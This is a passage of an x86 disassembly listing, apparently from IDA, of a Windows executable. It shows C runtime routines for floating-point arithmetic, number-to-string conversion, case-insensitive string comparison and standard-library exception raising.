push dword_43D4CC
push 8
call esi
pop ecx
pop ecx
jmp short loc_425D19
; ---------------------------------------------------------------------------
loc_425D0B: ; CODE XREF: sub_425C06+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_425D19
cmp edi, 4
jnz short loc_425D2C
loc_425D19: ; CODE XREF: sub_425C06+103j
; sub_425C06+10Cj
cmp edi, 8
mov dword_4DBE9C, ebx
jnz short loc_425D2C
mov eax, [ebp+arg_0]
mov dword_43D4CC, eax
loc_425D2C: ; CODE XREF: sub_425C06+111j
; sub_425C06+11Cj
xor eax, eax
pop ebx
loc_425D2F: ; CODE XREF: sub_425C06+2Cj
; sub_425C06+79j
pop edi
pop esi
pop ebp
retn
sub_425C06 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_425D33 proc near ; CODE XREF: sub_425C06+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43D4C8
cmp dword_43D44C, edx
push esi
mov eax, offset dword_43D448
jz short loc_425D61
lea esi, [ecx+ecx*2]
lea esi, ds:43D448h[esi*4]
loc_425D55: ; CODE XREF: sub_425D33+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_425D61
cmp [eax+4], edx
jnz short loc_425D55
loc_425D61: ; CODE XREF: sub_425D33+16j
; sub_425D33+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43D448h[ecx*4]
cmp eax, ecx
jnb short loc_425D75
cmp [eax+4], edx
jz short locret_425D77
loc_425D75: ; CODE XREF: sub_425D33+3Bj
xor eax, eax
locret_425D77: ; CODE XREF: sub_425D33+40j
retn
sub_425D33 endp
; =============== S U B R O U T I N E =======================================
sub_425D78 proc near ; CODE XREF: sub_4251BB+8Bp
; sub_4251BB+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DD140
jnb short loc_425DDF
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DD040[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_425DDF
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_425DB8
and cl, 7Fh
jmp short loc_425DC5
; ---------------------------------------------------------------------------
loc_425DB8: ; CODE XREF: sub_425D78+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_425DD3
or cl, 80h
loc_425DC5: ; CODE XREF: sub_425D78+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_425DD3: ; CODE XREF: sub_425D78+48j
mov dword_4DBDDC, 16h
jmp short loc_425DE9
; ---------------------------------------------------------------------------
loc_425DDF: ; CODE XREF: sub_425D78+Bj
; sub_425D78+27j
mov dword_4DBDDC, 9
loc_425DE9: ; CODE XREF: sub_425D78+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_425D78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425DEE proc near ; CODE XREF: sub_425973+165p
; sub_42600E+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_425FEE
cmp cx, 7FFFh
jnb loc_425FEE
cmp dx, 0BFFDh
ja loc_425FEE
cmp dx, 3FBFh
ja short loc_425E57
xor eax, eax
jmp short loc_425E91
; ---------------------------------------------------------------------------
loc_425E57: ; CODE XREF: sub_425DEE+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_425E79
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_425E79
xor eax, eax
cmp [esi+4], eax
jnz short loc_425E7B
cmp [esi], eax
jnz short loc_425E7B
jmp loc_425FE8
; ---------------------------------------------------------------------------
loc_425E79: ; CODE XREF: sub_425DEE+71j
; sub_425DEE+79j
xor eax, eax
loc_425E7B: ; CODE XREF: sub_425DEE+80j
; sub_425DEE+84j
cmp cx, ax
jnz short loc_425E9E
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_425E9E
cmp [ebx+4], eax
jnz short loc_425E9E
cmp [ebx], eax
jnz short loc_425E9E
loc_425E91: ; CODE XREF: sub_425DEE+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_426009
; ---------------------------------------------------------------------------
loc_425E9E: ; CODE XREF: sub_425DEE+90j
; sub_425DEE+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_425EAE: ; CODE XREF: sub_425DEE+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_425F02
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_425ECA: ; CODE XREF: sub_425DEE+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_425EF5
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_425EF5: ; CODE XREF: sub_425DEE+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_425ECA
loc_425F02: ; CODE XREF: sub_425DEE+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_425EAE
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_425F45
loc_425F20: ; CODE XREF: sub_425DEE+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_425F3E
lea eax, [ebp+var_24]
push eax
call sub_425380
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_425F20
loc_425F3E: ; CODE XREF: sub_425DEE+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_425F7E
loc_425F45: ; CODE XREF: sub_425DEE+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_425F7E
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_425F5E: ; CODE XREF: sub_425DEE+184j
test byte ptr [ebp+var_24], 1
jz short loc_425F67
inc [ebp+var_14]
loc_425F67: ; CODE XREF: sub_425DEE+174j
lea eax, [ebp+var_24]
push eax
call sub_4253AE
dec ebx
pop ecx
jnz short loc_425F5E
cmp [ebp+var_14], 0
jz short loc_425F7E
or byte ptr [ebp+var_24], 1
loc_425F7E: ; CODE XREF: sub_425DEE+155j
; sub_425DEE+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_425F95
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_425FCA
loc_425F95: ; CODE XREF: sub_425DEE+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_425FC7
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_425FC2
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_425FBC
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_425FCA
; ---------------------------------------------------------------------------
loc_425FBC: ; CODE XREF: sub_425DEE+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_425FCA
; ---------------------------------------------------------------------------
loc_425FC2: ; CODE XREF: sub_425DEE+1B5j
inc [ebp+var_20+2]
jmp short loc_425FCA
; ---------------------------------------------------------------------------
loc_425FC7: ; CODE XREF: sub_425DEE+1ABj
inc [ebp+var_24+2]
loc_425FCA: ; CODE XREF: sub_425DEE+1A5j
; sub_425DEE+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_425FEE
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_425FE8: ; CODE XREF: sub_425DEE+86j
mov [esi+0Ah], ax
jmp short loc_426009
; ---------------------------------------------------------------------------
loc_425FEE: ; CODE XREF: sub_425DEE+42j
; sub_425DEE+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_426009: ; CODE XREF: sub_425DEE+ABj
; sub_425DEE+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_425DEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42600E proc near ; CODE XREF: sub_4254A2+440p
; sub_425973+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_43D828
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_426087
jge short loc_426036
mov eax, [ebp+arg_4]
mov ebx, offset dword_43D988
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_426036: ; CODE XREF: sub_42600E+16j
cmp [ebp+arg_8], ecx
jnz short loc_426041
mov eax, [ebp+arg_0]
mov [eax], cx
loc_426041: ; CODE XREF: sub_42600E+2Bj
cmp [ebp+arg_4], ecx
jz short loc_426087
push esi
push edi
loc_426048: ; CODE XREF: sub_42600E+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_426080
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_426073
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_426073: ; CODE XREF: sub_42600E+57j
push esi
push [ebp+arg_0]
call sub_425DEE
pop ecx
pop ecx
xor ecx, ecx
loc_426080: ; CODE XREF: sub_42600E+49j
cmp [ebp+arg_4], ecx
jnz short loc_426048
pop edi
pop esi
loc_426087: ; CODE XREF: sub_42600E+14j
; sub_42600E+36j
pop ebx
leave
retn
sub_42600E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_426090 proc near ; CODE XREF: sub_426173+19p
; sub_42629A+19p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_41B9C0
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_40D9B3
mov eax, esi
pop esi
retn 8
sub_426090 endp
; =============== S U B R O U T I N E =======================================
sub_4260BA proc near ; CODE XREF: .packed:004260E5p
; sub_426168+6j ...
push esi
mov esi, ecx
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_40D977
mov ecx, esi
pop esi
jmp sub_426564
sub_4260BA endp
; =============== S U B R O U T I N E =======================================
sub_4260D5 proc near ; DATA XREF: .packed:00427C94o
; .packed:00427CA4o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_4260E1
mov eax, offset dword_427688
locret_4260E1: ; CODE XREF: sub_4260D5+5j
retn
sub_4260D5 endp
; ---------------------------------------------------------------------------
loc_4260E2: ; DATA XREF: .packed:off_427C90o
push esi
mov esi, ecx
call sub_4260BA
test byte ptr [esp+8], 1
jz short loc_4260F8
push esi
call sub_41D65F
pop ecx
loc_4260F8: ; CODE XREF: .packed:004260EFj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4260FE proc near ; CODE XREF: sub_426173+29p
mov eax, offset loc_426AE2
call sub_41D640
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427CAC
call sub_4264DD
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_427CA0
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4260FE endp
; =============== S U B R O U T I N E =======================================
sub_42614C proc near ; DATA XREF: .packed:off_427CA0o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426168
test [esp+4+arg_0], 1
jz short loc_426162
push esi
call sub_41D65F
pop ecx
loc_426162: ; CODE XREF: sub_42614C+Dj
mov eax, esi
pop esi
retn 4
sub_42614C endp
; =============== S U B R O U T I N E =======================================
sub_426168 proc near ; CODE XREF: sub_42614C+3p
; DATA XREF: .packed:00428014o
mov dword ptr [ecx], offset off_427CA0
jmp sub_4260BA
sub_426168 endp
; =============== S U B R O U T I N E =======================================
sub_426173 proc near ; CODE XREF: sub_40D824+13p
; sub_40D9E8+Ep
mov eax, offset loc_426AF4
call sub_41D640
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-20h]
call sub_426090
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4260FE
push offset dword_428010
lea eax, [ebp-3Ch]
push eax
call sub_426587
int 3 ; Trap to Debugger
sub_426173 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4261B0 proc near ; CODE XREF: sub_4260FE+32p
; sub_4261D0+32p ...
arg_0 = dword ptr 4
push esi
xor eax, eax
push 0FFFFFFFFh
mov esi, ecx
push eax
push [esp+0Ch+arg_0]
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_40D824
mov eax, esi
pop esi
retn 4
sub_4261B0 endp
; =============== S U B R O U T I N E =======================================
sub_4261D0 proc near ; CODE XREF: sub_42629A+29p
mov eax, offset loc_426B06
call sub_41D640
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427CAC
call sub_4264DD
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4261D0 endp
; =============== S U B R O U T I N E =======================================
sub_426218 proc near ; CODE XREF: sub_426282+7p
; sub_4262DE+7p ...
mov eax, offset loc_426B18
call sub_41D640
push ecx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
push edi
mov [ebp-10h], esi
call sub_42651A
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_426218 endp
; =============== S U B R O U T I N E =======================================
sub_42625B proc near ; DATA XREF: .packed:off_427CCCo
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426277
test [esp+4+arg_0], 1
jz short loc_426271
push esi
call sub_41D65F
pop ecx
loc_426271: ; CODE XREF: sub_42625B+Dj
mov eax, esi
pop esi
retn 4
sub_42625B endp
; =============== S U B R O U T I N E =======================================
sub_426277 proc near ; CODE XREF: sub_42625B+3p
; DATA XREF: .packed:004280BCo
mov dword ptr [ecx], offset off_427CCC
jmp sub_4260BA
sub_426277 endp
; =============== S U B R O U T I N E =======================================
sub_426282 proc near ; CODE XREF: sub_4262F6+46p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426218
mov dword ptr [esi], offset off_427CA0
mov eax, esi
pop esi
retn 4
sub_426282 endp
; =============== S U B R O U T I N E =======================================
sub_42629A proc near ; CODE XREF: sub_40D774+15p
; sub_40D7CD+15p ...
mov eax, offset loc_426B2A
call sub_41D640
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-20h]
call sub_426090
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4261D0
push offset dword_4280B8
lea eax, [ebp-3Ch]
push eax
mov dword ptr [ebp-3Ch], offset off_427CCC
call sub_426587
int 3 ; Trap to Debugger
sub_42629A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4262DE proc near ; CODE XREF: sub_4262F6+28p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426218
mov dword ptr [esi], offset off_427CCC
mov eax, esi
pop esi
retn 4
sub_4262DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4262F6 proc near ; DATA XREF: .packed:00427C98o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426218
push offset dword_4280F8
lea eax, [ebp+var_1C]
push eax
call sub_426587
int 3 ; Trap to Debugger
loc_426314: ; DATA XREF: .packed:00427CD4o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4262DE
push offset dword_4280B8
lea eax, [ebp+var_1C]
push eax
call sub_426587
int 3 ; Trap to Debugger
loc_426332: ; DATA XREF: .packed:00427CA8o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426282
push offset dword_428010
lea eax, [ebp+var_1C]
push eax
call sub_426587
int 3 ; Trap to Debugger
sub_4262F6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426350 proc near ; CODE XREF: sub_40D104+5Ep
; sub_40F3AA+14Ap ...
jmp dword_427210
sub_426350 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426356 proc near ; CODE XREF: sub_41D2AC+23p
; sub_41D550+13p
jmp dword_4271A4
sub_426356 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42635C proc near ; CODE XREF: .packed:0040B091p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0Ah
jnz short loc_426371
cmp [ebp+arg_0], 0
jge short loc_426371
push 1
push 0Ah
jmp short loc_426376
; ---------------------------------------------------------------------------
loc_426371: ; CODE XREF: sub_42635C+7j
; sub_42635C+Dj
push 0
push [ebp+arg_8]
loc_426376: ; CODE XREF: sub_42635C+13j
push [ebp+arg_4]
push [ebp+arg_0]
call sub_426389
mov eax, [ebp+arg_4]
add esp, 10h
pop ebp
retn
sub_42635C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426389 proc near ; CODE XREF: sub_42635C+20p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_C], 0
mov ecx, [ebp+arg_4]
push ebx
push esi
push edi
jz short loc_4263A3
mov esi, [ebp+arg_0]
mov byte ptr [ecx], 2Dh
inc ecx
neg esi
jmp short loc_4263A6
; ---------------------------------------------------------------------------
loc_4263A3: ; CODE XREF: sub_426389+Dj
mov esi, [ebp+arg_0]
loc_4263A6: ; CODE XREF: sub_426389+18j
mov edi, ecx
loc_4263A8: ; CODE XREF: sub_426389+43j
mov eax, esi
xor edx, edx
div [ebp+arg_8]
mov eax, esi
mov ebx, edx
xor edx, edx
div [ebp+arg_8]
cmp ebx, 9
mov esi, eax
jbe short loc_4263C4
add bl, 57h
jmp short loc_4263C7
; ---------------------------------------------------------------------------
loc_4263C4: ; CODE XREF: sub_426389+34j
add bl, 30h
loc_4263C7: ; CODE XREF: sub_426389+39j
mov [ecx], bl
inc ecx
test esi, esi
ja short loc_4263A8
and byte ptr [ecx], 0
dec ecx
loc_4263D2: ; CODE XREF: sub_426389+55j
mov dl, [edi]
mov al, [ecx]
mov [ecx], dl
mov [edi], al
dec ecx
inc edi
cmp edi, ecx
jb short loc_4263D2
pop edi
pop esi
pop ebx
pop ebp
retn
sub_426389 endp
; =============== S U B R O U T I N E =======================================
sub_4263E5 proc near ; CODE XREF: sub_41761C+E2p
; sub_41761C+F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword_4DBE84, 0
push ebx
jnz short loc_42642B
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_4263F7: ; CODE XREF: sub_4263E5+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_426409
cmp bx, 41h
jb short loc_426409
add ebx, 20h
loc_426409: ; CODE XREF: sub_4263E5+19j
; sub_4263E5+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_42641B
cmp ax, 41h
jb short loc_42641B
add eax, 20h
loc_42641B: ; CODE XREF: sub_4263E5+2Bj
; sub_4263E5+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_42645B
cmp bx, ax
jz short loc_4263F7
jmp short loc_42645B
; ---------------------------------------------------------------------------
loc_42642B: ; CODE XREF: sub_4263E5+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_426435: ; CODE XREF: sub_4263E5+72j
mov ax, [esi]
inc esi
push eax
inc esi
call sub_4265C1
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_4265C1
pop ecx
test bx, bx
pop ecx
jz short loc_426459
cmp bx, ax
jz short loc_426435
loc_426459: ; CODE XREF: sub_4263E5+6Dj
pop edi
pop esi
loc_42645B: ; CODE XREF: sub_4263E5+3Dj
; sub_4263E5+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_4263E5 endp
; =============== S U B R O U T I N E =======================================
sub_426465 proc near ; CODE XREF: sub_41843B+21p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_42648C
push esi
call sub_41B9C0
inc eax
push eax
call sub_41BEB5
pop ecx
test eax, eax
pop ecx
jz short loc_42648C
push esi
push eax
call sub_41C890
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_42648C: ; CODE XREF: sub_426465+7j
; sub_426465+1Aj
xor eax, eax
pop esi
retn
sub_426465 endp
; =============== S U B R O U T I N E =======================================
sub_426490 proc near ; CODE XREF: .packed:004264A8p
mov dword ptr [ecx], offset off_427CEC
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_4264A4
push ecx
call sub_41BA91
pop ecx
locret_4264A4: ; CODE XREF: sub_426490+Bj
retn
sub_426490 endp
; ---------------------------------------------------------------------------
loc_4264A5: ; DATA XREF: .packed:off_427CECo
push esi
mov esi, ecx
call sub_426490
test byte ptr [esp+8], 1
jz short loc_4264BB
push esi
call sub_41D65F
pop ecx
loc_4264BB: ; CODE XREF: .packed:004264B2j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_4264C1: ; DATA XREF: .packed:off_427CF4o
push esi
mov esi, ecx
call sub_426564
test byte ptr [esp+8], 1
jz short loc_4264D7
push esi
call sub_41D65F
pop ecx
loc_4264D7: ; CODE XREF: .packed:004264CEj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4264DD proc near ; CODE XREF: sub_4260FE+1Dp
; sub_4261D0+1Dp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427CF4
push dword ptr [edi]
call sub_41B9C0
inc eax
push eax
call sub_41D9A5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42650C
push dword ptr [edi]
push eax
call sub_41C890
pop ecx
pop ecx
loc_42650C: ; CODE XREF: sub_4264DD+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_4264DD endp
; =============== S U B R O U T I N E =======================================
sub_42651A proc near ; CODE XREF: sub_426218+16p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427CF4
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_426557
push dword ptr [edi+4]
call sub_41B9C0
inc eax
push eax
call sub_41D9A5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42655D
push dword ptr [edi+4]
push eax
call sub_41C890
pop ecx
pop ecx
jmp short loc_42655D
; ---------------------------------------------------------------------------
loc_426557: ; CODE XREF: sub_42651A+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_42655D: ; CODE XREF: sub_42651A+2Ej
; sub_42651A+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_42651A endp
; =============== S U B R O U T I N E =======================================
sub_426564 proc near ; CODE XREF: sub_4260BA+16j
; .packed:004264C4p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_427CF4
jz short locret_426579
push dword ptr [ecx+4]
call sub_41D65F
pop ecx
locret_426579: ; CODE XREF: sub_426564+Aj
retn
sub_426564 endp
; =============== S U B R O U T I N E =======================================
sub_42657A proc near ; DATA XREF: .packed:00427CF8o
mov eax, [ecx+4]
test eax, eax
jnz short locret_426586
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_426586: ; CODE XREF: sub_42657A+5j
retn
sub_42657A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426587 proc near ; CODE XREF: sub_426173+37p
; sub_42629A+3Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_427D10
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call dword_427050 ; RaiseException
pop edi
pop esi
leave
retn 8
sub_426587 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4265C1 proc near ; CODE XREF: sub_4263E5+56p
; sub_4263E5+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_4265D3
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_4265D3: ; CODE XREF: sub_4265C1+Bj
cmp dword_4DBE84, 0
jnz short loc_4265ED
cmp ax, 41h
jb short locret_426634
cmp ax, 5Ah
ja short locret_426634
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_4265ED: ; CODE XREF: sub_4265C1+19j
cmp ax, 100h
jnb short loc_426607
push 1
push eax
call sub_42686F
pop ecx
test eax, eax
pop ecx
jnz short loc_426607
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_426607: ; CODE XREF: sub_4265C1+30j
; sub_4265C1+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push dword_4DBE84
call sub_426636
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_426634
mov ax, [ebp+var_2]
locret_426634: ; CODE XREF: sub_4265C1+1Fj
; sub_4265C1+25j ...
leave
retn
sub_4265C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426636 proc near ; CODE XREF: sub_4265C1+5Fp
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427D30
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
cmp dword_4DC010, esi
jnz short loc_4266AC
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_427920
mov edi, 100h
push edi
push esi
call dword_427044 ; LCMapStringW
test eax, eax
jz short loc_42668A
mov dword_4DC010, ebx
jmp short loc_4266AC
; ---------------------------------------------------------------------------
loc_42668A: ; CODE XREF: sub_426636+4Aj
push esi
push esi
push ebx
push offset word_4CB88C
push edi
push esi
call dword_427048 ; LCMapStringA
test eax, eax
jz loc_42682B
mov dword_4DC010, 2
